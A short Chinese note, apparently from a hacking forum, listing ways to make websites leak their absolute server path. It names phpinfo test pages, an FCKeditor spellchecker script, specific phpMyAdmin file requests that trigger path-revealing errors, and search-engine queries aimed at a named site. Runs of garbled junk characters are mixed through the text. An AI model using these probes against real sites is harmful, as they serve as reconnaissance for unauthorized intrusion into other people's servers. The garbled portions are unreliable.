1.测试test.php info.php php_info.php phpinfo.php- U- ]9 j8 ?. t6 v" Z
9 E! f: C& P6 t( d- |
2.扫描看有没有fck编辑器,如果有就用fckeditor\editor\dialog\fck_spellerpages\spellerpages\server-scripts\spellchecker.php爆
" A& p) J3 i& T# b4 P/ _. Z# A5 _
3 h- L( D" v: U* l$ Y7 X3.看看有没有phpmyadmin或者phpMyAdmin利用phpMyAdmin/libraries/select_lang.lib.php% c8 t) m# t; g( c' j7 G! K
phpMyAdmin/darkblue_orange/layout.inc.php
$ B5 K3 e o/ P+ \$ C4 f* wphpMyAdmin/index.php?lang[]=1/ m7 z5 E* C& X2 u
phpmyadmin/themes/darkblue_orange/layout.inc.php
/ ?) u! H# c2 ^: W- H4.利用搜索引擎爆绝对路径
- N! O$ L& e, c) i* h* _site:www.huangse.com Warning
! g5 T* G! k7 {+ n! ^) }; Q2 K4 T7 @site:www.huangse.com inurl:Warning+ F( P [! Z3 _( v. r+ v- k
7 ]; c9 A1 w( F {2 `等以后慢慢往上补吧,利用单引号的方法俺就不说了。。。
. ^& l. q; O2 e# l( _8 b& x! U9 Z" N |